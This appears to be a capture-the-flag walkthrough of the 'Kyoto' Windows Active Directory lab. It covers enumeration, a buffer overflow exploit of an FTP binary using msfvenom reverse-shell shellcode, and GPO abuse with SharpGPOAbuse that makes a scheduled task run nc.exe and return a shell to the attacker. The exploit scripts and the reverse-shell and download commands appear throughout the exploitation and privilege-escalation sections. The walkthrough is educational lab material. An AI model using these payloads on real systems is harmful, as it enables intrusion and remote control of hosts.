Kyoto is a windows machine that allow you to practice active directory privilege escalation. The initial foothold is much more unexpected.
Enumeration
nmap -p- $IP -Pn -sT -v -A --open -T 4 -oN nmap.txt
We discover multiple port open, and we notice ldap running. This is a Windows AD machine.
Checking Port 21 FTP
Try to login with default credential such as admin:admin
ftp:ftp
anonymous login and etc but none of it works.
Move to Port 389 LDAP
We gonna use ldapsearch
to look for any low-hanging fruit such as credentials. To get the root domain, we use nmap --script "ldap* and not brute" $ip -p 389 -v -Pn -sT
The nmap command means that we want to run all the scripts whose names start with
ldap
but exclude any script whose name includes the wordbrute
. We can check what ldap script nmap has vials /usr/share/nmap/scripts/ | grep ldap
Then we run ldapsearch -x -H ldap://$ip -b “dc=Kyotosoft,DC=com”
The
-b
parameter in theldapsearch
command specifies the base DN (Distinguished Name) for the search. The DN is essentially the starting point in the LDAP directory tree from which the search will begin. Think of it as the root of your search within the LDAP structure.Without it, the LDAP server might not know where to begin the search or could potentially search the entire directory, which might not be permitted or could take a long time if the directory is large.
For example, if you only wanted information about users within the
KyotoSoft.com
domain, you would start at that base DN to ensure the search only returns relevant results.
From the error, it requires a valid credential to authenticate.
Let’s move on to Port 445
Check if the SMB support anonymous login and list share folder, if any. smbclient -L //$IP
. For prompt password, you can try anonymous or blank by simply pressing enter.
The dev
folder seems interesting, not a default SMB shared folder name. Let check the folder. smbclient \\\\$IP\\dev
We found 2 files in the share folder via dir
, download it to our kali machine to further enumerate. get $Filename
Checking the binary file
The text file content seems nothing much, move on to the ftp.exe
. We use strings ftp.exe
to check any string in the binary file.
We found a credential in the binary, it could be ftp credential, since the binary name ftp.exe. We then try to login to ftp with the credential, but does not work.
Expect the Unexpected
Also tried with ldapsearch
with the credential, but none of it work. Also try enumerate more but does not find any thing and we are stuck T-T. So I decide to check on offsec walkthrough. (yea, checking walkthrough is one of the way to learn, nothing to be shame of. Just ensure we understand how the reason behind why or what lead us to this path than just copy paste the payload.)
By checking the walkthrough, it is related to buffer over flow, from the ftp.exe
file. (Buffer Overflow has been removed from OSCP since 2023)
To be honest I am not familiar with buffer overflow exploit, but I try my best to give a high level of explanation here.
Analyze the ftp.exe
in Ghidra (or IDA), we discover the login function does not have limit the length of parameter.
A high level of how to exploit Buffer Overflow. If you just want the payload, you can scroll to “The final payload”
Finding EIP location
*This BOF example is base on old OSCP module that has BOF.
- First, find the length of text we need to send in order to make it overflow. This can be done via
msf-pattern_create -l 800
to generate a pattern string that has 800 length, then use a python script to send the bytes over. At the same time, you need to run theftp.exe
at a windows machine, attach toimmunity debugger
. - Once we send the 800 char over, check
immunity debugger
EIP value. Copy that value andmsf-pattern_offset -l 800 -q 41306A41
to check the offset value. If you got 270, which mean after 270 length send, the 271 char will over flow. - Check if we can control EIP address by sending “A” * 270 + “B” * 4 + “C” * 426. 01AF745C is where we can inject our reverse shell payload. The reason not 0xAF7458 (the first row of CCCC) if because we want of offset abit before we inject our payload. ** Do take note the python script show here in incomplete as it does not include sending the buff to the target. it could be a HTTP POST request, subject to your scenario. And it is not applicable to this machine exploit.
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
filler = "A" * 780
eip = "B" * 4
offset = "C" * 16
inputBuffer = filler + eip + offset
Checking bad characters
- Next is checking for bad character. If there is bad character in payload it will prevent the payload to function.
#!/usr/bin/python
import socket
#Create a list of badchar and send to the target to check
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
try:
print "\nSending evil buffer..."
filler = "A" * 780
eip = "B" * 4
offset = "C" * 16
inputBuffer = filler + eip + offset + badchars
- After send the bad chars, back to immunity debugger. Check for the hex dump. We notice the hex dump, compare to the bad chars we send, 07 08 09 should follow with 0a 0b but it turn to 00. Which mean 0a is bad characters.
- Repeat this step untill we able to see FF(the last bad chars we send) able to show in the hex dump.
Finding Return address JMP ESP
- Next task is to find a way to redirect the execution flow to the shellcode located at the memory address that the ESP register is pointing to by replacing the B’s. Which is replacing the EIP address. However ESP address always change when the system crash, hence we need to rely on JMP ESP. Where JMP ESP instruct to jump to the address pointed by ESP when execute.
- We have to find JMP ESP use by the system module(.DLL) and it address. At the bottom of
immunity debugger
, there is a text field allow us to use a tools callmona
.!mona modules
. This show all DLLs loaded by the .exe file into the process memory.
- In the list, we need to find the DLL that belong to the .exe, and have SafeSEH, ASLR and NXcompat as false, these protection is to prevent buffer overflow. At the same time we want to avoid bad character include in the DLL base address. From diagram above, 0x1000000 LIBSPP.DLL match our need.
- We search for JMP ESP using the hex representation of the opcode (0xFFE4) in LIBSPP.DLL with mona.py
!mona find -s “\xff\xe4” -m “libspp.dll”
- From mona find result, you will find a address
0x10090c83
with \xff\xe4 in libspp.dll and fortunately the address does not contain any bad char. - Now we can add this address to our EIP address. The address enter has to be in reverse order due to endian byte order. The OS can store address and data in memory in different format which is depend on the architecture and OS running on. Little endian is most widely used format by x86 and AMD64.
Generating Shell code
msfvenom -p windows/shell_reverse_tcp LHOST=$KaliIP LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
The python script look like this.
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
shellcode = ("\xda\xc9\xd9\x74\x24\xf4\xbb\x40\x4c\x48\xf1\x5e\x29\xc9"
"\xb1\x52\x31\x5e\x17\x83\xc6\x04\x03\x1e\x5f\xaa\x04\x62"
"\xb7\xa8\xe7\x9a\x48\xcd\x6e\x7f\x79\xcd\x15\xf4\x2a\xfd"
"\x5e\x58\xc7\x76\x32\x48\x5c\xfa\x9b\x7f\xd5\xb1\xfd\x4e"
"\xe6\xea\x3e\xd1\x64\xf1\x12\x31\x54\x3a\x67\x30\x91\x27"
"\x8a\x60\x4a\x23\x39\x94\xff\x79\x82\x1f\xb3\x6c\x82\xfc"
"\x04\x8e\xa3\x53\x1e\xc9\x63\x52\xf3\x61\x2a\x4c\x10\x4f"
"\xe4\xe7\xe2\x3b\xf7\x21\x3b\xc3\x54\x0c\xf3\x36\xa4\x49"
"\x34\xa9\xd3\xa3\x46\x54\xe4\x70\x34\x82\x61\x62\x9e\x41"
"\xd1\x4e\x1e\x85\x84\x05\x2c\x62\xc2\x41\x31\x75\x07\xfa"
"\x4d\xfe\xa6\x2c\xc4\x44\x8d\xe8\x8c\x1f\xac\xa9\x68\xf1"
"\xd1\xa9\xd2\xae\x77\xa2\xff\xbb\x05\xe9\x97\x08\x24\x11"
"\x68\x07\x3f\x62\x5a\x88\xeb\xec\xd6\x41\x32\xeb\x19\x78"
"\x82\x63\xe4\x83\xf3\xaa\x23\xd7\xa3\xc4\x82\x58\x28\x14"
"\x2a\x8d\xff\x44\x84\x7e\x40\x34\x64\x2f\x28\x5e\x6b\x10"
"\x48\x61\xa1\x39\xe3\x98\x22\x86\x5c\x6f\x9e\x6e\x9f\x6f"
"\xde\xd5\x16\x89\x8a\x39\x7f\x02\x23\xa3\xda\xd8\xd2\x2c"
"\xf1\xa5\xd5\xa7\xf6\x5a\x9b\x4f\x72\x48\x4c\xa0\xc9\x32"
"\xdb\xbf\xe7\x5a\x87\x52\x6c\x9a\xce\x4e\x3b\xcd\x87\xa1"
"\x32\x9b\x35\x9b\xec\xb9\xc7\x7d\xd6\x79\x1c\xbe\xd9\x80"
"\xd1\xfa\xfd\x92\x2f\x02\xba\xc6\xff\x55\x14\xb0\xb9\x0f"
"\xd6\x6a\x10\xe3\xb0\xfa\xe5\xcf\x02\x7c\xea\x05\xf5\x60"
"\x5b\xf0\x40\x9f\x54\x94\x44\xd8\x88\x04\xaa\x33\x09\x34"
"\xe1\x19\x38\xdd\xac\xc8\x78\x80\x4e\x27\xbe\xbd\xcc\xcd"
"\x3f\x3a\xcc\xa4\x3a\x06\x4a\x55\x37\x17\x3f\x59\xe4\x18"
"\x6a")
filler = "A" * 780
eip = "\x83\x0c\x09\x10"
offset = "C" * 4
buff = "D" * (1500 - len(filler) - len(eip) - len(offset))
nops = "\x90" * 10
inputBuffer = filler + eip + offset + nops + shellcode
NOPs, represented by the opcode
0x90
in x86 assembly, are used in buffer overflow payloads to create a NOP sled, which serves as a safe landing zone that leads to the actual shellcode. This technique simplifies the exploit by allowing for a less precise memory address to be targeted for the overflow; as long as the execution flow hits the NOP sled, it will slide down to the malicious code. NOPs can also help with alignment and avoiding null bytes, although modern security features like DEP and ASLR have reduced their effectiveness.
Finally, run the python script and send the payload to the target machine with a nc
listener running on kali machine, we should able to get our reverse shell.
The Final Payload
So back to our ftp.exe
.
#generate reverse shell payload
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=$KaliIP LPORT=443 -f python -v sc
Then replace the sc portion. The final payload as per below.
If you fail to import pwn, try
python3 -m pip install — upgrade pip
python3 -m pip install — upgrade pwntools
#!/usr/bin/python3
from pwn import *
sc = b""
sc += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
sc += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
sc += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
sc += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
sc += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
sc += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
sc += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
sc += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
sc += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
sc += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
sc += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
sc += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
sc += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
sc += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
sc += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
sc += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8"
sc += b"\x2d\x9a\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
sc += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
sc += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
sc += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
sc += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
sc += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
sc += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
sc += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
sc += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
sc += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
sc += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
buf = b""
buf += b"A"*270
buf += p32(0x004016be)
buf += sc
p = remote('$TargetIP', 21, level='debug') #Change $TargetIP to your target IP
p.recvuntil(b"220")
p.sendline(b"USER Banana")
p.recvuntil(b"331")
p.sendline(b"PASS "+buf)
p.recvuntil(b"430")
p.interactive()
Setup nc
listener and execute the python payload.
Capture our first flag at the current user home directory.
Privilege Escalation
We found that we are Group policy group and GPO admin group. We can abuse the GPO policy.
https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_x64/SharpGPOAbuse.exe
At first I was thinking to add my user to administrator group, but we will require password to prompt a new cmd which has admin privilege where we don't have password, even we would like to change password, we don’t have the permission either.
Hence, we decided to create a new task that executes nc.exe
connected to our kali machine. Before that, we need to find out the policy name, normally, by default, it is “Default Domain Policy”. Just to ensure, we can get powerview.ps1
to the target machine and check.
#At kali machine, powerview.ps1 should at /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
python3 -m http.server 80
#At target machine, download powerview.ps1,
cd c:\temp
curl http://$kaliIP/powerview.ps1 -o powerview.ps1
#switch to powershell
powershell
. .\powerview.ps1
Get-NetGPO
Dot-sourcing(. .\) is commonly used with PowerShell scripts that define a set of functions that you want to use interactively in your session. Instead of running the script and losing all its context as soon as the script finishes executing, dot-sourcing keeps everything loaded so you can call upon those resources afterwards.
Now let’s proceed with the SharpGPOAbuse.
#Transfer nc.exe to the target machine, nc.exe can be found at /usr/share/windows-resources/binaries/nc.exe
#At kali machine
python3 -m http.server 80
#At target machine, download binaries
cd c:\temp
curl http://$kaliIP/nc.exe -o nc.exe
curl http://$kaliIP/SharpGPOAbuse.exe -o sharp.exe
#Execute Sharp.GPOAbuse.exe, below command execute in powershell
./sharp.exe --AddComputerTask --TaskName "test" --Author "Administrator" --Command "cmd.exe" --Arguments "/c c:\temp\nc.exe $KaliIP 80 -e cmd.exe" --GPOName "Default Domain Policy"
#At kali machine
nc -nlvp 80
#At target machine, update the GPO changes
gpupdate /force